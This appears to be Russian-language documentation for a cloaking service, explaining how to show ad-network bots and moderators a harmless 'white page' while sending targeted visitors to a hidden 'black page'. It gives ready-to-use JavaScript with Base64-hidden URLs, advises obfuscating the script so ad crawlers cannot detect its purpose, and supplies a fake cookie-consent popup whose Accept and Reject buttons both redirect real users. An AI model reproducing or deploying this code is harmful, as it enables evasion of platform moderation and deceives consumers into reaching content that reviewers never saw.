В hoax.tech реализованы различные типы действия с black page.
Тип действия Set Cookie предназначен не для автоматического редиректа на black page, а для установки cookie cо значением хэша потока целевым и определённым как не боты посетителям и последующего выполнения заданного действия.
Примеры событий:
Боты и модераторы, не имеющие cookies при совершении этого же действия:
Рассмотрим пример применения типа действия Set Cookie для перенаправления целевых посетителей после нажатия на кнопку. В данном случае пользователи, определённые как не боты, будут перенаправлены на black page, а боты и модераторы — на вторую white page.
Шаг 1. Создадим и настроим поток.
В качестве ссылки на black page можно указать любой URL-адрес, так как при типе действия Set Cookie автоматический редирект на black page не выполняется.
Шаг 2. В параметрах интеграции выберем тип действия Set Cookie.

Шаг 3. Интегрируем клоаку на white page (https://setcookie.hoax.tech) стандартным методом PHP-интеграции:
После направления трафика на white page боты и целевые посетители останутся на той же странице, но при этом целевые посетители получат cookie с хэшем потока.
Шаг 4. Встроим следующий скрипт в кнопку To Rent, расположенную на white page.

Он будет проверять наличие cookie у пользователей, нажимающих на кнопку, и:
document.querySelector("#BUTTON").addEventListener("click", function() {
function getCookie(name) {
const matches = document.cookie.match(new RegExp(
"(?:^|; )" + name.replace(/([.$?*|{}()[]\/+^])/g, '\\$1') + "=([^;]*)"
));
return matches ? decodeURIComponent(matches[1]) : null;
}
if (getCookie("FLOW_HASH")) {
window.location.href = atob("BASE64_BLACK_PAGE");
} else {
window.location.href = atob("BASE64_WHITE_PAGE");
}
});
Переменные:
BUTTON — ID кнопки, на которой должно срабатывать событие.
FLOW_HASH — хэш потока, интегрированного на white page, который нужно скопировать в разделе Потоки (https://hoax.tech/flows), либо скопировать из адресной строки при редактировании потока.
BASE64_BLACK_PAGE — ссылка black page в формате Base64.
BASE64_WHITE_PAGE — ссылка white page в формате Base64.
Шаг 5. Найдём ID кнопки в коде white page и скопируем его. Если у кнопки нет ID, то присвоим ей произвольный, например — goldbutton.

Шаг 6. Для большей безопасности закодируем ссылки в формат Base64. Например, можно использовать сервис base64decode.org.

Шаг 7. Добавим все переменные в код.
Получится так:
document.querySelector("#goldbutton").addEventListener("click", function() {
function getCookie(name) {
const matches = document.cookie.match(new RegExp(
"(?:^|; )" + name.replace(/([.$?*|{}()[]\/+^])/g, '\\$1') + "=([^;]*)"
));
return matches ? decodeURIComponent(matches[1]) : null;
}
if (getCookie("4126123ffb74b745e81c70f3bfb686df")) {
window.location.href = atob("aHR0cHM6Ly9ibGFjay5ob2F4LnRlY2g=");
} else {
window.location.href = atob("aHR0cHM6Ly9zZXRjb29raWUuaG9heC50ZWNoL2NvbnRhY3QtdXM=");
}
});
Шаг 8. Добавим внизу кода исполняемого файла white page (index2.php) наш получившийся скрипт между тегами <script> </script>:

Шаг 9. Сохраним файл.
Вы также можете обфусцировать JS-скрипт, чтобы краулеры рекламных сетей не смогли определить его назначение.
Для этого можно воспользоваться сервисом: https://obfuscator.io/
Получившийся результат:
function _0x44c4(){const _0xe4c0fc=['403347WWuKVP','8fEDpfp','27072aUCRWv','aHR0cHM6Ly9ibGFjay5ob2F4LnRlY2g=','addEventListener','9391824hodZYU','3726506YANKlF','4126123ffb74b745e81c70f3bfb686df','aHR0cHM6Ly9zZXRjb29raWUuaG9heC50ZWNoL2NvbnRhY3QtdXM=','768945BCWBCp','#goldbutton','1460530wQGfLy','8pIPjbO','href','click','(?:^|;\x20)','3695868Lymavf','location','replace','querySelector'];_0x44c4=function(){return _0xe4c0fc;};return _0x44c4();}function _0x21a8(_0x3ae868,_0x451a7c){const _0x44c499=_0x44c4();return _0x21a8=function(_0x21a859,_0xadcba8){_0x21a859=_0x21a859-0x18e;let _0x236e1f=_0x44c499[_0x21a859];return _0x236e1f;},_0x21a8(_0x3ae868,_0x451a7c);}const _0xed30a5=_0x21a8;(function(_0x37da8d,_0x52157d){const _0x4c2e78=_0x21a8,_0x43e449=_0x37da8d();while(!![]){try{const _0xda49f9=-parseInt(_0x4c2e78(0x19b))/0x1+parseInt(_0x4c2e78(0x19d))/0x2+parseInt(_0x4c2e78(0x190))/0x3*(parseInt(_0x4c2e78(0x193))/0x4)+parseInt(_0x4c2e78(0x192))/0x5+-parseInt(_0x4c2e78(0x197))/0x6+parseInt(_0x4c2e78(0x1a1))/0x7*(-parseInt(_0x4c2e78(0x19c))/0x8)+parseInt(_0x4c2e78(0x1a0))/0x9;if(_0xda49f9===_0x52157d)break;else _0x43e449['push'](_0x43e449['shift']());}catch(_0x107c00){_0x43e449['push'](_0x43e449['shift']());}}}(_0x44c4,0x4bb6d),document[_0xed30a5(0x19a)](_0xed30a5(0x191))[_0xed30a5(0x19f)](_0xed30a5(0x195),function(){const _0x8a7688=_0xed30a5;function _0x4d91d4(_0x1cc909){const _0x113a72=_0x21a8,_0x31c119=document['cookie']['match'](new RegExp(_0x113a72(0x196)+_0x1cc909[_0x113a72(0x199)](/([.$?*|{}()[]\/+^])/g,'\x5c$1')+'=([^;]*)'));return _0x31c119?decodeURIComponent(_0x31c119[0x1]):null;}_0x4d91d4(_0x8a7688(0x18e))?window[_0x8a7688(0x198)][_0x8a7688(0x194)]=atob(_0x8a7688(0x19e)):window[_0x8a7688(0x198)][_0x8a7688(0x194)]=atob(_0x8a7688(0x18f));}));
Настройка завершена.
document.querySelector("#BUTTON").addEventListener("click", function() {
function getCookie(name) {
const matches = document.cookie.match(new RegExp(
"(?:^|; )" + name.replace(/([.$?*|{}()[]\/+^])/g, '\\$1') + "=([^;]*)"
));
return matches ? decodeURIComponent(matches[1]) : null;
}
if (getCookie("FLOW_HASH")) {
window.location.href = atob("BASE64_BLACK_PAGE");
}
});
Ниже представлено готовое решение — попап Cookie Consent, один из самых распространённых сценариев взаимодействия пользователей с сайтом.
После нажатия на любую из кнопок целевая аудитория перенаправится на black page:

Для ботов или модераторов попап просто закроется:


Интегрируйте клоакинг классической PHP-интеграцией: скачайте файл интеграции index.php из потока, переименуйте запускной индекс white page в index2.php и загрузите скачанный index.php в директорию white page.
Скачайте шаблон попапа и разместите его на white page.
Скачать Cookie Consent popup template
Добавьте в код white page сразу после тега <body> следующий код подключения попапа:
<div id="cookieConsentBackdrop" class="cookieConsentBackdrop" aria-hidden="true" style="display: none;"></div>
<div id="cookieConsentPopup" class="cookieConsentPopup" data-hash="FLOW_HASH" data-key="BLACK_PAGE_BASE64_URL" role="dialog" aria-labelledby="cookieConsentHeading" aria-describedby="cookieConsentDescription" style="display: none;">
<p id="cookieConsentHeading" class="sr-only">Cookie Consent Popup</p>
<div id="cookieConsentDescription">
<p>
We value your privacy.
</p>
<p>
We use cookies to enhance your browsing experience and analyze our traffic. By clicking "Accept All", you consent to our use of cookies.
</p>
</div>
<div class="cookieConsentPopup-actions">
<button id="rejectBtn" class="cookieConsentPopup-btn cookieConsentPopup-btn--reject">Reject</button>
<button id="acceptBtn" class="cookieConsentPopup-btn cookieConsentPopup-btn--accept">Accept</button>
</div>
</div>
<script src="/script.js"></script>
В коде необходимо указать следующие параметры:
FLOW_HASH - хэш потока, интегрированного на white page, который можно скопировать в разделе Потоки (https://hoax.tech/flows), либо из адресной строки при редактировании потока.
BLACK_PAGE_BASE64_URL - ссылка black page в формате Base64.
Для кодирования ссылки black page в Base64 можно использовать сервис base64decode.org.

Укажите правильный путь до шаблона попапа script.js. Если вы разместили его в корне сайта, путь менять не нужно.
При необходимости вы можете поменять тексты попапа и кнопок.
После добавления кода на white page проверьте правильность подключения стандартными способами.
При таком типе действия защита от ботов выше, возможны бóльшие потери трафика. Однако аудитория, не нажавшая ни на одну из кнопок, будет наименее заинтересованной в вашем продукте или услуге.